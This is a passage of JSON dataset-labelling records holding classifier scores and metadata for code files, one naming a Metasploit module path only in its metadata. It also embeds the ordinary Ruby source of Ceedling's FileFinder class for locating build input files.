1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 12223, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 12223, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:09.192246+00:00", "scoring_key_slot": "primary", "dataset_uid": "636d6730-18f2-4dd5-9478-7189c4a404f1", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "a5d1efe1c8f5fab3fe3912d85d2fd62a2b1074f66db1969e7b231d2af4157a05", "source_metadata": {"uuid": "636d6730-18f2-4dd5-9478-7189c4a404f1", "repo_name": "rapid7/metasploit-framework", "relative_path": "modules/exploits/linux/http/projectsend_unauth_rce.rb", "category": "TOOL", "algo_rel_score": 0.7069911956787109, "quality_score": 5.0324296951293945, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 77937, "repo_created_at": "2011-08-30T06:13:20.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 35931, "forks": 14409, "issues": 435, "pull_requests": 31}, "file_meta": {"content_id": "d4ec2ee274e8cf6b0b0e470cf3e3b41ff72dcf81", "size_bytes": 13625, "file_timestamp": 1752758915, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b6a04c2b9772f89dc9184ddf04ce3fd5bea24d1b"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 77937, "repo_created_at": "2011-08-30T06:13:20.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 35931, "forks": 14409, "issues": 435, "pull_requests": 31}, "file_meta": {"content_id": "d4ec2ee274e8cf6b0b0e470cf3e3b41ff72dcf81", "size_bytes": 13625, "file_timestamp": 1752758915, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b6a04c2b9772f89dc9184ddf04ce3fd5bea24d1b", "url": "https://github.com/rapid7/metasploit-framework/blob/b6a04c2b9772f89dc9184ddf04ce3fd5bea24d1b/modules/exploits/linux/http/projectsend_unauth_rce.rb"}, "gpt4o_tokens": 3436, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2037377078137594, "noise_severity": 0.11269677828723405, "missing_content_severity": 0.1632152337496247, "factual_density": 3.398657732135921, "pretraining_utility": 0.7335230333535625, "math_density": 0.29073023359008876, "code_density": 3.8437789324982226, "reasoning_density": 2.0723571777136764, "education_level": 3.4107273877782913, "creative_writing_quality": -0.07506807198566069}, "score_applicability": {"education_level": 0.9992495426832979, "creative_writing_quality": 0.0011731594481628833}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/JipVoss/FoxBMS/blob/874618c7b53003b146374f71ef036a6e3deba151/tools/vendor/ceedling/lib/ceedling/file_finder.rb", "id": "ruby-0-d3ea198a6c5bc29aea17f56b23e5518b", "text": "# =========================================================================\n# Ceedling - Test-Centered Build System for C\n# ThrowTheSwitch.org\n# Copyright (c) 2010-24 , , & \n# SPDX-License-Identifier: MIT\n# =========================================================================\n\nrequire 'rubygems'\nrequire 'rake' # for adding ext() method to string\nrequire 'ceedling/exceptions'\n\nclass FileFinder\n\n constructor :configurator, :file_finder_helper, :cacheinator, :file_path_utils, :file_wrapper, :yaml_wrapper\n\n\n def find_header_file(mock_file)\n header = File.basename(mock_file).sub(/#{@configurator.cmock_mock_prefix}/, '').ext(@configurator.extension_header)\n\n found_path = @file_finder_helper.find_file_in_collection(header, @configurator.collection_all_headers, :error, mock_file)\n\n return found_path\n end\n\n\n def find_header_input_for_mock_file(mock_file)\n return find_header_file(mock_file)\n end\n\n\n def find_test_from_file_path(filepath)\n test_file = File.basename(filepath).ext(@configurator.extension_source)\n\n found_path = @file_finder_helper.find_file_in_collection(test_file, @configurator.collection_all_tests, :error, filepath)\n\n return found_path\n end\n\n\n def find_build_input_file(filepath:, complain: :error, context:)\n release = (context == RELEASE_SYM)\n\n found_file = nil\n\n source_file = File.basename(filepath).ext('')\n\n # We only collect files that already exist when we start up.\n # FileLists can produce undesired results for dynamically generated files depending on when they're accessed.\n # So collect mocks and runners separately and right now.\n # Assume that project configuration options will have already filtered out any files that should not be searched for.\n\n # Generated test runners\n if (!release) and (source_file =~ /^#{@configurator.project_test_file_prefix}.+#{@configurator.test_runner_file_suffix}$/)\n _source_file = source_file.ext(EXTENSION_CORE_SOURCE)\n found_file =\n @file_finder_helper.find_file_in_collection(\n _source_file,\n @file_wrapper.directory_listing( File.join(@configurator.project_test_runners_path, '*') ),\n complain,\n filepath)\n\n # Generated mocks\n elsif (!release) and (source_file =~ /^#{@configurator.cmock_mock_prefix}/)\n _source_file = source_file.ext(EXTENSION_CORE_SOURCE)\n found_file =\n @file_finder_helper.find_file_in_collection(\n _source_file,\n @file_wrapper.directory_listing( File.join(@configurator.cmock_mock_path, '**/*') ),\n complain,\n filepath)\n\n # Vendor framework sources (unity.c, cmock.c, cexception.c, etc.)\n # Note: Taking a small chance by mixing test and release frameworks without smart checks on test/release build\n elsif (@configurator.collection_vendor_framework_sources.include?(source_file.ext(EXTENSION_CORE_SOURCE)))\n _source_file = source_file.ext(EXTENSION_CORE_SOURCE)\n found_file =\n @file_finder_helper.find_file_in_collection(\n _source_file,\n @configurator.collection_existing_test_build_input,\n complain,\n filepath)\n\n end\n\n if !found_file.nil?\n return found_file\n end\n\n #\n # Above we can confidently rely on the complain parameter passed to file_finder_helper because\n # we know the specific type of file being searched for.\n #\n # Below we ignore file misses because of lgoical complexities of searching for potentially either \n # assmebly or C files, including C files that may not exist (counterparts to header files by convention).\n # We save the existence handling until the end.\n #\n\n # Assembly files for release build \n if release and @configurator.release_build_use_assembly\n _source_file = File.basename(filepath).ext(@configurator.extension_assembly)\n found_file =\n @file_finder_helper.find_file_in_collection(\n _source_file,\n @configurator.collection_release_build_input,\n :ignore,\n filepath)\n\n # Assembly files for test build \n elsif (!release) and @configurator.test_build_use_assembly\n _source_file = File.basename(filepath).ext(@configurator.extension_assembly)\n found_file =\n @file_finder_helper.find_file_in_collection(\n _source_file,\n @configurator.collection_existing_test_build_input,\n :ignore,\n filepath)\n end\n\n if !found_file.nil?\n return found_file\n end\n\n # Release build C files\n if release\n _source_file = File.basename(filepath).ext(@configurator.extension_source)\n found_file =\n @file_finder_helper.find_file_in_collection(\n _source_file,\n @configurator.collection_release_build_input,\n :ignore,\n filepath)\n \n # Test build C files\n else\n _source_file = File.basename(filepath).ext(@configurator.extension_source)\n found_file =\n @file_finder_helper.find_file_in_collection(\n _source_file,\n @configurator.collection_existing_test_build_input,\n :ignore,\n filepath)\n end\n\n if found_file.nil?\n _source_file += \" or #{_source_file.ext(@configurator.extension_assembly)}\" if @configurator.release_build_use_assembly\n @file_finder_helper.handle_missing_file(_source_file, complain)\n end\n\n return found_file\n end\n\n\n def find_source_file(filepath, complain = :error)\n source_file = File.basename(filepath).ext(@configurator.extension_source)\n return @file_finder_helper.find_file_in_collection(source_file, @configurator.collection_all_source, complain, filepath)\n end\n\n\n def find_assembly_file(filepath, complain = :error)\n assembly_file = File.basename(filepath).ext(@configurator.extension_assembly)\n return @file_finder_helper.find_file_in_collection(assembly_file, @configurator.collection_all_assembly, complain, filepath)\n end\n\n def find_file_from_list(filepath, file_list, complain)\n return @file_finder_helper.find_file_in_collection(filepath, file_list, complain, filepath)\n end\nend\n\n", "text_preview": "# ========================================================================= # Ceedling - Test-Centered Build System for C # ThrowTheSwitch.org # Copyright (c) 2010-24 , , & # SPDX-License-Identifier: MIT # ===============", "input_sha256": "4083794034f0b49cd8e51e57aba49e628190b82a2d1db99cda18711232bd2ee3", "text_sha256": "d3ea198a6c5bc29aea17f56b23e5518b2b29f5549c673ef351ef608864bda703", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16037, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.8927232147952903, "noise_severity": 0.21595199547053612, "missing_content_severity": 0.01686271126239068, "factual_density": 3.2176030082666656, "pretraining_utility": 0.3127323891810142, "math_density": 0.004407610053514091, "code_density": 3.7425783717649157, "reasoning_density": 0.8646193753264182, "education_level": 2.5088693783364158, "creative_writing_quality": -0.13530069934473596}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.1437660077486108, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9970523912350252, "secondary": 0.49788900434545846, "tertiary": 0.6479057080831393, "structured_records": 0.0019050844837728792, "procedural_steps": 0.006050202694625176, "worked_solution": 0.0008429800080679874, "contextual_dialogue": 6.784639138443061e-06, "content_quality": 0.5369746505217097, "noise_severity": 0.8200400037745532, "missing_content_severity": 0.9859477406146744, "factual_density": 0.3480025068888879, "pretraining_utility": 0.5229841858818598, "math_density": 0.9963269916220716, "code_density": 0.7854819764707631, "reasoning_density": 0.27948385389465136, "education_level": 0.44540354378473457, "creative_writing_quality": 0.9991976708017364, "primary_topic": 0.9957150317414913, "secondary_topic": 0.9544057233046136}, "probability_margin": {"primary": 0.9959960578916681, "secondary": 0.07819255354885618, "tertiary": 0.34875247790088876, "education_level": 0.15155813862662432, "creative_writing_quality": 0.9989862083491634, "primary_topic": 0.9944588698989196, "secondary_topic": 0.9429050625763203}, "raw_probabilities": {"primary": {"Academic Writing": 4.172528621058508e-05, "Content Listing": 2.6348454106636113e-05, "Creative Writing": 1.8980197246874166e-05, "Customer Support Page": 1.15024910827573e-05, "Q&A Forum": 1.207864430355589e-05, "Discussion Thread": 8.101445804693965e-06, "Comment Section": 1.337196997634957e-05, "Missing Content": 3.333146243092168e-05, "Knowledge Article": 0.00011697275566709975, "Legal Notices": 0.0007033518578070307, "News Article": 4.65304541489606e-06, "Organizational Announcement": 1.64928290056644e-05, "Nonfiction Writing": 1.1173546225967512e-05, "Organizational About Page": 1.82458111280769e-05, "Personal About Page": 1.0033990629708767e-05, "Personal Blog": 7.903933090776061e-06, "Product Page": 8.15931167268301e-06, "Spam / Ads": 1.032432530564072e-05, "Structured Data": 0.00040677234025597424, "Technical Writing": 0.9971752082668992, "Transcript / Interview": 1.4309239610093034e-05, "Tutorial / How-To Guide": 0.00014522648169471654, "User Reviews": 6.581939199052176e-06, "Other / Unknown": 0.0011791503752310655}, "secondary": {"Academic Writing": 0.0007365037525058812, "Content Listing": 0.0006594668056058987, "Creative Writing": 0.0006408235683766653, "Customer Support Page": 0.0003814887914164124, "Q&A Forum": 0.0003374146505454263, "Discussion Thread": 0.00033233633072889785, "Comment Section": 0.0004861133482042179, "Missing Content": 0.0008400835569461524, "Knowledge Article": 0.001276176338930147, "Legal Notices": 0.44061774228220824, "News Article": 0.0005836033824312866, "Organizational Announcement": 0.0006934686340991154, "Nonfiction Writing": 0.0005903765743025888, "Organizational About Page": 0.0007724969708257887, "Personal About Page": 0.00041329406301248453, "Personal Blog": 0.00028620153906661603, "Product Page": 0.0004110099061273331, "Spam / Ads": 0.00044521461360589476, "Structured Data": 0.0010239481863239938, "Technical Writing": 0.027937514205491322, "Transcript / Interview": 0.0006845556181108601, "Tutorial / How-To Guide": 0.000753462681939482, "User Reviews": 0.00028640836813090823, "NONE": 0.5188102958310644}, "tertiary": {"Academic Writing": 0.00047643790934569376, "Content Listing": 0.00040365755332555045, "Creative Writing": 0.0005040241687330283, "Customer Support Page": 0.00025739954683952864, "Q&A Forum": 0.00021480207870186343, "Discussion Thread": 0.0001868829522571886, "Comment Section": 0.0003743164923903068, "Missing Content": 0.000584663209710354, "Knowledge Article": 0.0011182520873582954, "Legal Notices": 0.31382382567878636, "News Article": 0.00041333426546446195, "Organizational Announcement": 0.0004464940361852265, "Nonfiction Writing": 0.0004341430943490001, "Organizational About Page": 0.0007649769991700021, "Personal About Page": 0.00027624514975898716, "Personal Blog": 0.0002044835266753961, "Product Page": 0.0003183533899557483, "Spam / Ads": 0.00032367772946267096, "Structured Data": 0.0006170661729840622, "Technical Writing": 0.014544746979015042, "Transcript / Interview": 0.00041439460462591683, "Tutorial / How-To Guide": 0.000554551929116924, "User Reviews": 0.00016696686611311764, "NONE": 0.6625763035796751}, "structured_records": {"false": 0.9980949155162271, "true": 0.0019050844837728792}, "procedural_steps": {"false": 0.9939497973053748, "true": 0.006050202694625176}, "worked_solution": {"false": 0.999157019991932, "true": 0.0008429800080679874}, "contextual_dialogue": {"false": 0.9999932153608616, "true": 6.784639138443061e-06}, "content_quality": {"-2": 0.00667987263544745, "-1": 0.027892457553647127, "0": 0.25562906927569246, "1": 0.48562178345059354, "2": 0.22417681708461934}, "noise_severity": {"0": 0.7921148318900244, "1": 0.20316745882393564, "2": 0.0025556381359014744, "3": 0.0009750242257563107, "4": 0.0011870469243821478}, "missing_content_severity": {"0": 0.9907249898375357, "1": 0.0034733400296778623, "2": 0.004363738011555099, "3": 0.001089833275323212, "4": 0.00034809884590824625}, "factual_density": {"0": 0.009330441023096173, "1": 0.030295307006351434, "2": 0.13938446163485035, "3": 0.3754203833521948, "4": 0.44556940698350717}, "pretraining_utility": {"-2": 0.007712311803297361, "-1": 0.11441867027378229, "0": 0.48053266363011615, "1": 0.3520970255242172, "2": 0.045239328768587016}, "math_density": {"0": 0.9976304913723699, "1": 0.001499941149948261, "2": 0.00020555896713434426, "3": 0.00015948307289230377, "4": 0.0005045254376550574}, "code_density": {"0": 0.00032473815508476885, "1": 0.0006063642219127319, "2": 0.02084906084733656, "3": 0.21260546125433386, "4": 0.765614375521332}, "reasoning_density": {"0": 0.561582155732174, "1": 0.18544781753401085, "2": 0.12717181885213363, "3": 0.07836491143858614, "4": 0.04743329644309543}, "education_level": {"none": 0.0011044901001028154, "0": 0.0013985064174646257, "1": 0.007312978716308707, "2": 0.5378362864872788, "3": 0.38627814786065445, "4": 0.06606959041819055}, "creative_writing_quality": {"not_applicable": 0.9993313923347803, "-2": 6.286048566094214e-05, "-1": 0.00012983727889730962, "0": 0.0003451839856168735, "1": 9.635666456164776e-05, "2": 3.436925048302799e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.5804448273428534e-05, "Art & Design": 3.668958316685894e-05, "Law & Crime": 0.00011341259357503292, "Education & Careers": 3.027510008362753e-05, "Entertainment & Media": 1.8474139520735686e-05, "Fashion & Beauty": 1.473030100654574e-05, "Business, Economics & Finance": 3.380795842848859e-05, "Food & Dining": 1.6740766342159993e-05, "Games & Gaming": 5.8812882175903805e-05, "Electronics & Hardware": 0.0014209683140527815, "Health, Healthcare & Wellness": 2.5306337309983108e-05, "History & Geography": 2.824640782105506e-05, "Home, Pets & Hobbies": 2.2638874785080517e-05, "Industry & Production": 7.044957359070137e-05, "Language, Literature & Philosophy": 3.849394062115429e-05, "Politics & Government": 1.4904328009976734e-05, "Religion & Spirituality": 2.2958834845913523e-05, "Science, Mathematics & Engineering": 0.0009229167497913303, "Relationships & Community": 1.2176216807454697e-05, "Software Usage & Applications": 0.000857618634370732, "Programming & Software Engineering": 0.9958798382129724, "Sports & Fitness": 4.245864128744886e-05, "Vehicles & Transportation": 6.0432572282547286e-05, "Travel & Tourism": 3.1269263061846295e-05, "Other / Uncovered Subject": 0.000143159279724104, "Unknown / Insufficient Content": 4.7416046092362276e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003037213341885833, "Art & Design": 0.0002505664086951517, "Law & Crime": 0.011840300231848106, "Education & Careers": 0.0002246681898209791, "Entertainment & Media": 0.00020860670283579807, "Fashion & Beauty": 0.0001264549476074862, "Business, Economics & Finance": 0.00038308572439855755, "Food & Dining": 0.00011775931207446727, "Games & Gaming": 0.00019690942307224097, "Electronics & Hardware": 0.008549534963341892, "Health, Healthcare & Wellness": 0.00016884272711040806, "History & Geography": 0.00016446131062228706, "Home, Pets & Hobbies": 0.00012027502608069729, "Industry & Production": 0.00018516902221005576, "Language, Literature & Philosophy": 0.00017588044666132918, "Politics & Government": 0.00017422446760113208, "Religion & Spirituality": 0.00017997742513281415, "Science, Mathematics & Engineering": 0.00240428505633993, "Relationships & Community": 7.795739495213226e-05, "Software Usage & Applications": 0.003690152864742556, "Programming & Software Engineering": 0.01325428675503895, "Sports & Fitness": 0.00016610003441074294, "Vehicles & Transportation": 0.0002661756486276721, "Travel & Tourism": 0.00017710553580970075, "Other / Uncovered Subject": 0.00043414971541716756, "NONE": 0.9561593493313593}}, "probabilities": {"primary": {"Academic Writing": 4.172528621058508e-05, "Content Listing": 2.6348454106636113e-05, "Creative Writing": 1.8980197246874166e-05, "Customer Support Page": 1.15024910827573e-05, "Q&A Forum": 1.207864430355589e-05, "Discussion Thread": 8.101445804693965e-06, "Comment Section": 1.337196997634957e-05, "Missing Content": 3.333146243092168e-05, "Knowledge Article": 0.00011697275566709975, "Legal Notices": 0.0007033518578070307, "News Article": 4.65304541489606e-06, "Organizational Announcement": 1.64928290056644e-05, "Nonfiction Writing": 1.1173546225967512e-05, "Organizational About Page": 1.82458111280769e-05, "Personal About Page": 1.0033990629708767e-05, "Personal Blog": 7.903933090776061e-06, "Product Page": 8.15931167268301e-06, "Spam / Ads": 1.032432530564072e-05, "Structured Data": 0.00040677234025597424, "Technical Writing": 0.9971752082668992, "Transcript / Interview": 1.4309239610093034e-05, "Tutorial / How-To Guide": 0.00014522648169471654, "User Reviews": 6.581939199052176e-06, "Other / Unknown": 0.0011791503752310655}, "secondary": {"Academic Writing": 0.0007365037525058812, "Content Listing": 0.0006594668056058987, "Creative Writing": 0.0006408235683766653, "Customer Support Page": 0.0003814887914164124, "Q&A Forum": 0.0003374146505454263, "Discussion Thread": 0.00033233633072889785, "Comment Section": 0.0004861133482042179, "Missing Content": 0.0008400835569461524, "Knowledge Article": 0.001276176338930147, "Legal Notices": 0.44061774228220824, "News Article": 0.0005836033824312866, "Organizational Announcement": 0.0006934686340991154, "Nonfiction Writing": 0.0005903765743025888, "Organizational About Page": 0.0007724969708257887, "Personal About Page": 0.00041329406301248453, "Personal Blog": 0.00028620153906661603, "Product Page": 0.0004110099061273331, "Spam / Ads": 0.00044521461360589476, "Structured Data": 0.0010239481863239938, "Technical Writing": 0.027937514205491322, "Transcript / Interview": 0.0006845556181108601, "Tutorial / How-To Guide": 0.000753462681939482, "User Reviews": 0.00028640836813090823, "NONE": 0.5188102958310644}, "tertiary": {"Academic Writing": 0.0004764379093456938, "Content Listing": 0.0004036575533255505, "Creative Writing": 0.0005040241687330284, "Customer Support Page": 0.0002573995468395287, "Q&A Forum": 0.00021480207870186346, "Discussion Thread": 0.00018688295225718863, "Comment Section": 0.00037431649239030683, "Missing Content": 0.0005846632097103541, "Knowledge Article": 0.0011182520873582956, "Legal Notices": 0.3138238256787864, "News Article": 0.000413334265464462, "Organizational Announcement": 0.00044649403618522655, "Nonfiction Writing": 0.00043414309434900014, "Organizational About Page": 0.0007649769991700022, "Personal About Page": 0.0002762451497589872, "Personal Blog": 0.00020448352667539613, "Product Page": 0.00031835338995574836, "Spam / Ads": 0.000323677729462671, "Structured Data": 0.0006170661729840623, "Technical Writing": 0.014544746979015043, "Transcript / Interview": 0.0004143946046259169, "Tutorial / How-To Guide": 0.0005545519291169242, "User Reviews": 0.00016696686611311767, "NONE": 0.6625763035796752}, "structured_records": {"false": 0.9980949155162271, "true": 0.0019050844837728792}, "procedural_steps": {"false": 0.9939497973053748, "true": 0.006050202694625176}, "worked_solution": {"false": 0.999157019991932, "true": 0.0008429800080679874}, "contextual_dialogue": {"false": 0.9999932153608616, "true": 6.784639138443061e-06}, "content_quality": {"-2": 0.006679872635447451, "-1": 0.02789245755364713, "0": 0.2556290692756925, "1": 0.4856217834505936, "2": 0.22417681708461937}, "noise_severity": {"0": 0.7921148318900244, "1": 0.20316745882393564, "2": 0.0025556381359014744, "3": 0.0009750242257563107, "4": 0.0011870469243821478}, "missing_content_severity": {"0": 0.9907249898375357, "1": 0.0034733400296778623, "2": 0.004363738011555099, "3": 0.001089833275323212, "4": 0.00034809884590824625}, "factual_density": {"0": 0.009330441023096174, "1": 0.030295307006351437, "2": 0.13938446163485038, "3": 0.37542038335219485, "4": 0.4455694069835072}, "pretraining_utility": {"-2": 0.007712311803297361, "-1": 0.11441867027378229, "0": 0.48053266363011615, "1": 0.3520970255242172, "2": 0.045239328768587016}, "math_density": {"0": 0.99763049137237, "1": 0.0014999411499482611, "2": 0.0002055589671343443, "3": 0.0001594830728923038, "4": 0.0005045254376550575}, "code_density": {"0": 0.00032473815508476885, "1": 0.0006063642219127319, "2": 0.02084906084733656, "3": 0.21260546125433386, "4": 0.765614375521332}, "reasoning_density": {"0": 0.561582155732174, "1": 0.18544781753401085, "2": 0.12717181885213363, "3": 0.07836491143858614, "4": 0.04743329644309543}, "education_level": {"none": 0.0011044901001028156, "0": 0.001398506417464626, "1": 0.007312978716308708, "2": 0.5378362864872789, "3": 0.3862781478606545, "4": 0.06606959041819056}, "creative_writing_quality": {"not_applicable": 0.9993313923347803, "-2": 6.286048566094214e-05, "-1": 0.00012983727889730962, "0": 0.0003451839856168735, "1": 9.635666456164776e-05, "2": 3.436925048302799e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.580444827342855e-05, "Art & Design": 3.6689583166858954e-05, "Law & Crime": 0.00011341259357503296, "Education & Careers": 3.027510008362754e-05, "Entertainment & Media": 1.8474139520735693e-05, "Fashion & Beauty": 1.4730301006545745e-05, "Business, Economics & Finance": 3.38079584284886e-05, "Food & Dining": 1.674076634216e-05, "Games & Gaming": 5.8812882175903825e-05, "Electronics & Hardware": 0.001420968314052782, "Health, Healthcare & Wellness": 2.5306337309983115e-05, "History & Geography": 2.824640782105507e-05, "Home, Pets & Hobbies": 2.2638874785080524e-05, "Industry & Production": 7.04495735907014e-05, "Language, Literature & Philosophy": 3.84939406211543e-05, "Politics & Government": 1.4904328009976739e-05, "Religion & Spirituality": 2.295883484591353e-05, "Science, Mathematics & Engineering": 0.0009229167497913307, "Relationships & Community": 1.21762168074547e-05, "Software Usage & Applications": 0.0008576186343707324, "Programming & Software Engineering": 0.9958798382129728, "Sports & Fitness": 4.2458641287448877e-05, "Vehicles & Transportation": 6.0432572282547306e-05, "Travel & Tourism": 3.126926306184631e-05, "Other / Uncovered Subject": 0.00014315927972410406, "Unknown / Insufficient Content": 4.741604609236229e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003037213341885833, "Art & Design": 0.0002505664086951517, "Law & Crime": 0.011840300231848106, "Education & Careers": 0.0002246681898209791, "Entertainment & Media": 0.00020860670283579807, "Fashion & Beauty": 0.0001264549476074862, "Business, Economics & Finance": 0.00038308572439855755, "Food & Dining": 0.00011775931207446727, "Games & Gaming": 0.00019690942307224097, "Electronics & Hardware": 0.008549534963341892, "Health, Healthcare & Wellness": 0.00016884272711040806, "History & Geography": 0.00016446131062228706, "Home, Pets & Hobbies": 0.00012027502608069729, "Industry & Production": 0.00018516902221005576, "Language, Literature & Philosophy": 0.00017588044666132918, "Politics & Government": 0.00017422446760113208, "Religion & Spirituality": 0.00017997742513281415, "Science, Mathematics & Engineering": 0.00240428505633993, "Relationships & Community": 7.795739495213226e-05, "Software Usage & Applications": 0.003690152864742556, "Programming & Software Engineering": 0.01325428675503895, "Sports & Fitness": 0.00016610003441074294, "Vehicles & Transportation": 0.0002661756486276721, "Travel & Tourism": 0.00017710553580970075, "Other / Uncovered Subject": 0.00043414971541716756, "NONE": 0.9561593493313593}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9878, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9878, 